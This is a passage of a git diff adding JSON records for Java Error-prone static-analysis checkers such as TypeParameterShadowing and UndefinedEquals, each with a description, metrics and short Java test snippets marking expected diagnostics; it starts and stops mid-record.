}\n }\n \n\n class Test {\n public void method(B5 f) {\n B5 d = f;\n B2 wow = null;\n }\n }" + }, + { + "description": "refactoring_single_number_ok_after", + "expected-problems": null, + "expected-linenumbers": [ + 234 + ], + "code": "class Test {\n public void method(Bad f) {\n Bad d = f;\n B2 wow = null;\n }\n }\n \n\n class Test {\n public void method(B3 f) {\n B3 d = f;\n B2 wow = null;\n }\n }" + }, + { + "description": "refactoring_newNames", + "expected-problems": null, + "expected-linenumbers": [ + 261 + ], + "code": "class Test {\n public void method(Foo f) {\n TBaz bad = null;\n Foo d = f;\n }\n }\n \n\n class Test {\n public void method(FooT f) {\n BazT bad = null;\n FooT d = f;\n }\n }" + }, + { + "description": "refactoring_tSuffixes", + "expected-problems": null, + "expected-linenumbers": [ + 288 + ], + "code": "class Test {\n public void method(FOOT f) {\n BART bad = null;\n FOOT d = f;\n }\n }\n \n\n class Test {\n public void method(F f) {\n B bad = null;\n F d = f;\n }\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 315 + ], + "code": "import java.util.ArrayList;\n\n class Test {\n public void method(Exception e) {\n ArrayList dontCheckTypeArguments = new ArrayList();\n }\n }" + }, + { + "description": "negativeCases_manyNumberedTypes", + "expected-problems": null, + "expected-linenumbers": [ + 332 + ], + "code": "import java.util.ArrayList;\n\n class Test {\n public void method(Exception e) {\n T10 t = null;\n }\n }" + }, + { + "description": "refactoring_underscore", + "expected-problems": null, + "expected-linenumbers": [ + 349 + ], + "code": "class Test {\n public <_T> void method(_T t) {}\n }\n \n\n class Test {\n public void method(T t) {}\n }" + }, + { + "description": "classifyTypeName_singleLetter", + "expected-problems": null, + "expected-linenumbers": [ + 370 + ], + "code": "" + }, + { + "description": "classifyTypeName_classT", + "expected-problems": null, + "expected-linenumbers": [ + 378 + ], + "code": "" + }, + { + "description": "classifyTypeName_invalidTypeParameters", + "expected-problems": null, + "expected-linenumbers": [ + 385 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterQualifier.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterQualifier.json new file mode 100644 index 0000000..c0de87c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterQualifier.json @@ -0,0 +1,38 @@ +{ + "name": "TypeParameterQualifier", + "language": "java", + "description": "Type parameter used as type qualifier", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n // BUG: Diagnostic contains: populate(Foo.Builder builder)\n static T populate(T.Builder builder) {\n return null;\n }\n }" + }, + { + "description": "positiveMethod", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "class Test {\n static > T get(Class clazz, String value) {\n // BUG: Diagnostic contains: Enum.valueOf(clazz, value);\n return T.valueOf(clazz, value);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "class Test {\n static T populate(T builder) {\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterShadowing.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterShadowing.json new file mode 100644 index 0000000..ed60181 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterShadowing.json @@ -0,0 +1,134 @@ +{ + "name": "TypeParameterShadowing", + "language": "java", + "description": "Type parameter declaration overrides another type parameter already declared", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 16, + "apis": 2, + "test": [ + { + "description": "singleLevel", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package foo.bar;\n\n class Test {\n // BUG: Diagnostic contains: T declared in Test\n void something() {}\n }" + }, + { + "description": "staticNotFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "package foo.bar;\n\n class Test {\n static void something() {}\n }" + }, + { + "description": "staticMethodInnerDoesntConflictWithOuter", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "" + }, + { + "description": "nestedClassDeclarations", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "package foo.bar;\n\n class Test {\n // BUG: Diagnostic contains: D declared in Test\n class Test2 {}\n }" + }, + { + "description": "twoLevels", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "package foo.bar;\n\n class Test {\n class MyTest {\n // BUG: Diagnostic matches: combo\n public void something() {}\n }\n }" + }, + { + "description": "renameTypeVar", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "package foo.bar;\n\n class Test {\n /**\n * @param foo\n */\n void something(T t) {\n T other = t;\n }\n }\n \n\n package foo.bar;\n\n class Test {\n /**\n * @param foo\n */\n void something(T2 t) {\n T2 other = t;\n }\n }" + }, + { + "description": "renameRecursiveBound", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "package foo.bar;\n\n class Test {\n > void something(T t) {\n T other = t;\n }\n }\n \n\n package foo.bar;\n\n class Test {\n > void something(T2 t) {\n T2 other = t;\n }\n }" + }, + { + "description": "refactorUnderneathStuff", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "package foo.bar;\n\n class Test {\n void something(T t) {\n T other = t;\n }\n\n T identity(T t) {\n return t;\n }\n }\n \n\n package foo.bar;\n\n class Test {\n void something(T2 t) {\n T2 other = t;\n }\n\n T2 identity(T2 t) {\n return t;\n }\n }" + }, + { + "description": "refactorMultipleVars", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "package foo.bar;\n\n class Test {\n void something(T t) {\n T other = t;\n java.util.List ts = new java.util.ArrayList();\n D d = null;\n }\n }\n \n\n package foo.bar;\n\n class Test {\n void something(T2 t) {\n T2 other = t;\n java.util.List ts = new java.util.ArrayList();\n D2 d = null;\n }\n }" + }, + { + "description": "refactorWithNestedTypeParameterDeclaration", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "package foo.bar;\n\n class Test {\n void something(T t) {\n T var = t;\n @SuppressWarnings(\"TypeParameterShadowing\")\n class MethodInnerWithGeneric {}\n MethodInnerWithGeneric innerVar = null;\n class MethodInner {\n @SuppressWarnings(\"TypeParameterShadowing\")\n void doSomething() {}\n\n void doSomethingElse(T t) {\n this.doSomething();\n }\n }\n MethodInner myInner = null;\n }\n }\n \n\n package foo.bar;\n\n class Test {\n void something(T3 t) {\n T3 var = t;\n @SuppressWarnings(\"TypeParameterShadowing\")\n class MethodInnerWithGeneric {}\n MethodInnerWithGeneric innerVar = null;\n class MethodInner {\n @SuppressWarnings(\"TypeParameterShadowing\")\n void doSomething() {}\n\n void doSomethingElse(T3 t) {\n this.doSomething();\n }\n }\n MethodInner myInner = null;\n }\n }" + }, + { + "description": "refactorCheckForExisting", + "expected-problems": null, + "expected-linenumbers": [ + 307 + ], + "code": "package foo.bar;\n\n class Test {\n class A {\n void something(T t) {\n T var = t;\n }\n }\n }\n \n\n package foo.bar;\n\n class Test {\n class A {\n void something(T5 t) {\n T5 var = t;\n }\n }\n }" + }, + { + "description": "refactorMethodInnerInner", + "expected-problems": null, + "expected-linenumbers": [ + 339 + ], + "code": "package foo.bar;\n\n class Test {\n static void something(D t) {\n class B {\n class C {}\n }\n }\n }" + }, + { + "description": "symbolWithoutTypeParameters", + "expected-problems": null, + "expected-linenumbers": [ + 370 + ], + "code": "package foo.bar;\n\nimport java.util.Map;\nimport java.util.Comparator;\n\nclass Test {\n static Comparator> ENTRY_COMPARATOR =\n new Comparator>() {\n public int compare(Map.Entry o1, Map.Entry o2) {\n return 0;\n }\n\n private int c(T o1, T o2) {\n return 0;\n }\n };\n}" + }, + { + "description": "lambdaParameterDesugaring", + "expected-problems": null, + "expected-linenumbers": [ + 397 + ], + "code": "import java.util.function.Consumer;\n\n class A {\n abstract class B {\n void f() {\n g(t -> {});\n }\n\n abstract void g(Consumer c);\n }\n }\n \n\n import java.util.function.Consumer;\n\n class A {\n abstract class B {\n void f() {\n g(t -> {});\n }\n\n abstract void g(Consumer c);\n }\n }" + }, + { + "description": "typesWithBounds", + "expected-problems": null, + "expected-linenumbers": [ + 433 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n void something(B b) {\n class Foo implements Predicate {\n public boolean test(B b) {\n return false;\n }\n }\n new Foo<>();\n }\n }\n \n\n import java.util.function.Predicate;\n\n class Test {\n void something(B b) {\n class Foo implements Predicate {\n public boolean test(B2 b) {\n return false;\n }\n }\n new Foo<>();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterUnusedInFormals.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterUnusedInFormals.json new file mode 100644 index 0000000..4da41bf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterUnusedInFormals.json @@ -0,0 +1,134 @@ +{ + "name": "TypeParameterUnusedInFormals", + "language": "java", + "description": "Declaring a type parameter that is only used in the return type is a misuse of generics: operations on the type parameter are unchecked, it hides unsafe casts at invocations of the method, and it interacts badly with method overload resolution.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 15, + "apis": 2, + "test": [ + { + "description": "evilCastImpl", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package foo.bar;\n\n class Test {\n // BUG: Diagnostic contains:\n static T doCast(Object o) {\n T t = (T) o;\n return t;\n }\n }" + }, + { + "description": "leadingParam", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "package foo.bar;\n\n class Test {\n // BUG: Diagnostic contains:\n static T doCast(U o) {\n T t = (T) o;\n return t;\n }\n }" + }, + { + "description": "trailingParam", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package foo.bar;\n\n class Test {\n // BUG: Diagnostic contains:\n static T doCast(U o) {\n T t = (T) o;\n return t;\n }\n }" + }, + { + "description": "leadingAndTrailingParam", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "package foo.bar;\n\n class Test {\n // BUG: Diagnostic contains:\n static T doCast(U o, V v) {\n T t = (T) o;\n return t;\n }\n }" + }, + { + "description": "superBound", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "package foo.bar;\n\n class Test {\n // BUG: Diagnostic contains:\n static T doCast(Object o) {\n return (T) o;\n }\n }" + }, + { + "description": "okFBound", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "package foo.bar;\n\n class Test {\n interface Foo {}\n\n static > T doCast(Object o) {\n return (T) o;\n }\n }" + }, + { + "description": "wildbound", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "package foo.bar;\n\n class Test {\n interface Foo {}\n\n // BUG: Diagnostic contains:\n static > T doCast(Object o) {\n return (T) o;\n }\n }" + }, + { + "description": "okGenericFactory", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "import java.util.List;\n\n class Test {\n static List newList() {\n return null;\n }\n }" + }, + { + "description": "okWithParam", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "import java.util.List;\n\n class Test {\n static T noop(T t) {\n return t;\n }\n }" + }, + { + "description": "okNotMyParam", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "import java.util.List;\n\n class Test {\n T noop(T t) {\n return t;\n }\n }" + }, + { + "description": "abstractMethod", + "expected-problems": null, + "expected-linenumbers": [ + 214 + ], + "code": "abstract class Test {\n // BUG: Diagnostic contains:\n abstract T badMethod();\n }" + }, + { + "description": "objectCast", + "expected-problems": null, + "expected-linenumbers": [ + 228 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n T badMethod(String s) {\n return (T) s;\n }\n }" + }, + { + "description": "issue343", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "interface Test {\n interface Visitor1 {}\n\n interface Visitor2 {}\n\n <\n R,\n R1 extends R,\n R2 extends R,\n X1 extends Exception,\n X2 extends Exception,\n V extends Visitor1 & Visitor2>\n R accept_(V v) throws X1, X2;\n }" + }, + { + "description": "classTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "abstract class Test {\n abstract T get(String s);\n }" + }, + { + "description": "typeAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 283 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target(ElementType.TYPE_USE)\n @interface A {}\n \n\n class Test {\n T f(@A T x) {\n return x;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeToString.json new file mode 100644 index 0000000..cc9a7e9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeToString.json @@ -0,0 +1,30 @@ +{ + "name": "TypeToString", + "language": "java", + "description": "TypeMirror#toString shouldn't be used for comparison as it is expensive and fragile.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 76, + "branches": 3, + "apis": 2, + "test": [ + { + "description": "noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.BugPattern.SeverityLevel;\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import com.google.errorprone.matchers.Description;\n import com.sun.source.tree.ClassTree;\n import com.sun.tools.javac.code.Types;\n\n @BugPattern(name = \"Example\", summary = \"\", severity = SeverityLevel.ERROR)\n public class ExampleChecker extends BugChecker implements ClassTreeMatcher {\n @Override\n public Description matchClass(ClassTree t, VisitorState s) {\n return Description.NO_MATCH;\n }\n }" + }, + { + "description": "matchInABugChecker", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.BugPattern.SeverityLevel;\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import com.google.errorprone.fixes.SuggestedFix;\n import com.google.errorprone.matchers.Description;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ClassTree;\n import com.sun.tools.javac.tree.TreeMaker;\n import com.sun.tools.javac.code.Type;\n import com.sun.tools.javac.code.Types;\n import com.sun.tools.javac.tree.JCTree;\n import com.sun.tools.javac.tree.JCTree.JCClassDecl;\n\n @BugPattern(name = \"Example\", summary = \"\", severity = SeverityLevel.ERROR)\n public class ExampleChecker extends BugChecker implements ClassTreeMatcher {\n @Override\n public Description matchClass(ClassTree tree, VisitorState state) {\n Type type = ((JCTree) tree).type;\n if (type.toString().contains(\"matcha\")) {\n return describeMatch(tree);\n }\n // BUG: Diagnostic contains: TypeToString\n if (type.toString().equals(\"match\")) {\n return describeMatch(tree);\n }\n if (new InnerClass().matchaMatcher(type)) {\n return describeMatch(tree);\n }\n return Description.NO_MATCH;\n }\n\n class InnerClass {\n boolean matchaMatcher(Type type) {\n // BUG: Diagnostic contains: TypeToString\n return type.toString().equals(\"match\");\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/URLEqualsHashCode.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/URLEqualsHashCode.json new file mode 100644 index 0000000..dd77dd2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/URLEqualsHashCode.json @@ -0,0 +1,30 @@ +{ + "name": "URLEqualsHashCode", + "language": "java", + "description": "Avoid hash-based containers of java.net.URL--the containers rely on equals() and hashCode(), which cause java.net.URL to make blocking internet connections.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 7, + "apis": 5, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.collect.BiMap;\n import com.google.common.collect.HashBiMap;\n import com.google.common.collect.ImmutableSet;\n import java.net.URL;\n import java.util.HashMap;\n import java.util.HashSet;\n import java.util.Map;\n import java.util.Set;\n\n /**\n * Positive test cases for URLEqualsHashCode check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class URLEqualsHashCodePositiveCases {\n\n public void setOfURL() {\n // BUG: Diagnostic contains: java.net.URL\n Set urlSet = new HashSet();\n }\n\n public void setOfCompleteURL() {\n // BUG: Diagnostic contains: java.net.URL\n Set urlSet = new HashSet();\n }\n\n public void hashmapOfURL() {\n // BUG: Diagnostic contains: java.net.URL\n HashMap urlMap = new HashMap();\n }\n\n public void hashmapOfCompleteURL() {\n // BUG: Diagnostic contains: java.net.URL\n HashMap urlMap = new HashMap();\n }\n\n public void hashsetOfURL() {\n // BUG: Diagnostic contains: java.net.URL\n HashSet urlSet = new HashSet();\n }\n\n public void hashsetOfCompleteURL() {\n // BUG: Diagnostic contains: java.net.URL\n HashSet urlSet = new HashSet();\n }\n\n private static class ExtendedSet extends HashSet {\n // no impl.\n }\n\n public void hashSetExtendedClass() {\n // BUG: Diagnostic contains: java.net.URL\n HashSet extendedSet = new ExtendedSet();\n\n // BUG: Diagnostic contains: java.net.URL\n Set urlSet = new ExtendedSet();\n }\n\n private static class ExtendedMap extends HashMap {\n // no impl.\n }\n\n public void hashMapExtendedClass() {\n // BUG: Diagnostic contains: java.net.URL\n HashMap extendedMap = new ExtendedMap();\n\n // BUG: Diagnostic contains: java.net.URL\n Map urlMap = new ExtendedMap();\n }\n\n public void hashBiMapOfURL() {\n // BUG: Diagnostic contains: java.net.URL\n BiMap urlBiMap = HashBiMap.create();\n\n // BUG: Diagnostic contains: java.net.URL\n BiMap toUrlBiMap = HashBiMap.create();\n }\n\n public void hashBiMapOfCompleteURL() {\n // BUG: Diagnostic contains: java.net.URL\n HashBiMap urlBiMap = HashBiMap.create();\n\n // BUG: Diagnostic contains: java.net.URL\n HashBiMap toUrlBiMap = HashBiMap.create();\n }\n\n public void immutableSetOfURL() {\n // BUG: Diagnostic contains: java.net.URL\n ImmutableSet urlSet = ImmutableSet.of();\n\n // BUG: Diagnostic contains: java.net.URL\n ImmutableSet urlSet2 = ImmutableSet.builder().build();\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.net.URL;\n import java.util.ArrayList;\n import java.util.Collection;\n import java.util.HashMap;\n import java.util.HashSet;\n import java.util.List;\n import java.util.Set;\n\n /**\n * Negative test cases for URLEqualsHashCode check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class URLEqualsHashCodeNegativeCases {\n\n private static class Url {\n private Url() {\n // no impl\n }\n }\n\n // Set and HashSet of non-URL class.\n public void setOfUrl() {\n Set urlSet;\n }\n\n public void hashsetOfUrl() {\n HashSet urlSet;\n }\n\n // Collection(s) of type URL\n public void collectionOfURL() {\n Collection urlSet;\n }\n\n public void listOfURL() {\n List urlSet;\n }\n\n public void arraylistOfURL() {\n ArrayList urlSet;\n }\n\n public void hashmapWithURLAsValue() {\n HashMap stringToUrlMap;\n }\n\n private static class ExtendedMap extends HashMap {\n // no impl.\n }\n\n public void hashMapExtendedClass() {\n ExtendedMap urlMap;\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UndefinedEquals.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UndefinedEquals.json new file mode 100644 index 0000000..f2997ed --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UndefinedEquals.json @@ -0,0 +1,126 @@ +{ + "name": "UndefinedEquals", + "language": "java", + "description": "This type is not guaranteed to implement a useful equals() method.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 150, + "branches": 13, + "apis": 1, + "test": [ + { + "description": "positiveInstanceEquals", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import java.util.Queue;\n\n class Test {\n void f(Queue a, Queue b) {\n // BUG: Diagnostic contains: Queue does not have well-defined equality semantics\n a.equals(b);\n }\n }" + }, + { + "description": "positiveStaticEquals", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "import java.util.Collection;\n import java.util.Objects;\n\n class Test {\n void f(Collection a, Collection b) {\n // BUG: Diagnostic contains: Collection\n Objects.equals(a, b);\n }\n }" + }, + { + "description": "immutableCollection", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import com.google.common.collect.ImmutableCollection;\n import java.util.Objects;\n\n class Test {\n void f(ImmutableCollection a, ImmutableCollection b) {\n // BUG: Diagnostic contains: ImmutableCollection\n Objects.equals(a, b);\n }\n }" + }, + { + "description": "positiveAssertEquals", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import java.util.List;\n import com.google.common.collect.FluentIterable;\n import com.google.common.collect.Iterables;\n import static org.junit.Assert.assertEquals;\n import static org.junit.Assert.assertNotEquals;\n\n class Test {\n void test(List myList, List otherList) {\n // BUG: Diagnostic contains: Iterable\n assertEquals(FluentIterable.of(1), FluentIterable.of(1));\n // BUG: Diagnostic contains: Iterable\n assertEquals(Iterables.skip(myList, 1), Iterables.skip(myList, 2));\n // BUG: Diagnostic contains: Iterable\n assertNotEquals(Iterables.skip(myList, 1), Iterables.skip(myList, 2));\n // BUG: Diagnostic contains: Iterable\n assertEquals(\"foo\", Iterables.skip(myList, 1), Iterables.skip(myList, 2));\n }\n }" + }, + { + "description": "positiveWithGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "import java.util.Queue;\n\n class Test {\n void f(Queue a, Queue b) {\n // BUG: Diagnostic contains: Queue\n a.equals(b);\n }\n }" + }, + { + "description": "positiveTruth", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.Queue;\n\n class Test {\n void f(Queue a, Queue b) {\n // BUG: Diagnostic contains: Queue\n assertThat(a).isEqualTo(b);\n // BUG: Diagnostic contains: Queue\n assertThat(a).isNotEqualTo(b);\n }\n }" + }, + { + "description": "truthFixAssertWithMessage", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "import static com.google.common.truth.Truth.assertWithMessage;\n import java.lang.Iterable;\n\n class Test {\n void f(Iterable a, Iterable b) {\n assertWithMessage(\"message\").that(a).isEqualTo(b);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertWithMessage;\n import java.lang.Iterable;\n\n class Test {\n void f(Iterable a, Iterable b) {\n assertWithMessage(\"message\").that(a).containsExactlyElementsIn(b);\n }\n }" + }, + { + "description": "truthFixAssertWithMessage", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "import static com.google.common.truth.Truth.assertWithMessage;\n import java.lang.Iterable;\n\n class Test {\n void f(Iterable a, Iterable b) {\n assertWithMessage(\"message\").that(a).isEqualTo(b);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertWithMessage;\n import java.lang.Iterable;\n\n class Test {\n void f(Iterable a, Iterable b) {\n assertWithMessage(\"message\").that(a).containsExactlyElementsIn(b);\n }\n }" + }, + { + "description": "truthFixDontRewriteIsNotEqualTo", + "expected-problems": null, + "expected-linenumbers": [ + 388 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.lang.Iterable;\n\n class Test {\n void f(Iterable a, Iterable b) {\n assertThat(a).isNotEqualTo(b);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import java.lang.Iterable;\n\n class Test {\n void f(Iterable a, Iterable b) {\n assertThat(a).isNotEqualTo(b);\n }\n }" + }, + { + "description": "truthFixAcrossMultipleLinesAndPoorlyFormatted", + "expected-problems": null, + "expected-linenumbers": [ + 418 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.lang.Iterable;\n\n class Test {\n void f(Iterable a, Iterable b) {\n assertThat(a).containsExactlyElementsIn(b);\n }\n }" + }, + { + "description": "positiveSparseArray", + "expected-problems": null, + "expected-linenumbers": [ + 446 + ], + "code": "package android.util;\n\n public class SparseArray {}\n \n\n import android.util.SparseArray;\n\n class Test {\n boolean f(SparseArray a, SparseArray b) {\n // BUG: Diagnostic contains: SparseArray\n return a.equals(b);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 471 + ], + "code": "import java.util.PriorityQueue;\n\n class Test {\n void f(PriorityQueue a, PriorityQueue b) {\n a.equals(b);\n }\n }" + }, + { + "description": "charSequenceFix", + "expected-problems": null, + "expected-linenumbers": [ + 488 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n class Test {\n void f(CharSequence a, String b) {\n assertThat(a).isEqualTo(b);\n assertThat(b).isEqualTo(a);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n\n class Test {\n void f(CharSequence a, String b) {\n assertThat(a.toString()).isEqualTo(b);\n assertThat(b).isEqualTo(a.toString());\n }\n }" + }, + { + "description": "futures", + "expected-problems": null, + "expected-linenumbers": [ + 518 + ], + "code": "import com.google.common.util.concurrent.ListenableFuture;\n import com.google.common.util.concurrent.SettableFuture;\n import java.util.concurrent.CompletableFuture;\n import java.util.concurrent.Future;\n\n class Test {\n void listenableFuture(ListenableFuture a, ListenableFuture b) {\n // BUG: Diagnostic contains: Future does not have well-defined equality semantics\n a.equals(b);\n }\n\n void settableFuture(SettableFuture a, SettableFuture b) {\n // BUG: Diagnostic contains: Future does not have well-defined equality semantics\n a.equals(b);\n }\n\n void completableFuture(CompletableFuture a, CompletableFuture b) {\n // BUG: Diagnostic contains: Future does not have well-defined equality semantics\n a.equals(b);\n }\n\n void future(Future a, Future b) {\n // BUG: Diagnostic contains: Future does not have well-defined equality semantics\n a.equals(b);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UngroupedOverloads.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UngroupedOverloads.json new file mode 100644 index 0000000..d4f985f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UngroupedOverloads.json @@ -0,0 +1,166 @@ +{ + "name": "UngroupedOverloads", + "language": "java", + "description": "Constructors and methods with the same name should appear sequentially with no other code in between, even when modifiers such as static or private differ between the methods. Please re-order or re-name methods.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 162, + "branches": 12, + "apis": 8, + "test": [ + { + "description": "ungroupedOverloadsPositiveCasesSingle", + "expected-problems": null, + "expected-linenumbers": [ + 40 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n public class UngroupedOverloadsPositiveCasesSingle {\n\n public void quux() {\n foo();\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo'\n public void foo() {\n foo(42);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo'\n public void foo(int x) {\n foo(x, x);\n }\n\n public void bar() {\n bar(42);\n }\n\n public void bar(int x) {\n foo(x);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo'\n public void foo(int x, int y) {\n System.out.println(x + y);\n }\n\n public void norf() {}\n }\\" + }, + { + "description": "ungroupedOverloadsPositiveCasesMultiple", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n public class UngroupedOverloadsPositiveCasesMultiple {\n\n private int foo;\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar(int x, String z, int y) {\n System.out.println(String.format(\"z: %s, x: %d, y: %d\", z, x, y));\n }\n\n private UngroupedOverloadsPositiveCasesMultiple(int foo) {\n this.foo = foo;\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar(int x) {\n bar(foo, x);\n }\n\n public void baz(String x) {\n bar(42, x, 42);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar(int x, int y) {\n bar(y, FOO, x);\n }\n\n public static final String FOO = \"foo\";\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar(int x, int y, int z) {\n bar(x, String.valueOf(y), z);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'quux'\n public int quux() {\n return quux(quux);\n }\n\n public int quux = 42;\n\n // BUG: Diagnostic contains: ungrouped overloads of 'quux'\n public int quux(int x) {\n return x + quux;\n }\n\n private static class Quux {}\n\n // BUG: Diagnostic contains: ungrouped overloads of 'quux'\n public int quux(int x, int y) {\n return quux(x + y);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'norf'\n public int norf(int x) {\n return quux(x, x);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'norf'\n public int norf(int x, int y) {\n return norf(x + y);\n }\n\n public void foo() {\n System.out.println(\"foo\");\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'norf'\n public void norf(int x, int y, int w) {\n norf(x + w, y + w);\n }\n }\\" + }, + { + "description": "ungroupedOverloadsPositiveCasesInterleaved", + "expected-problems": null, + "expected-linenumbers": [ + 173 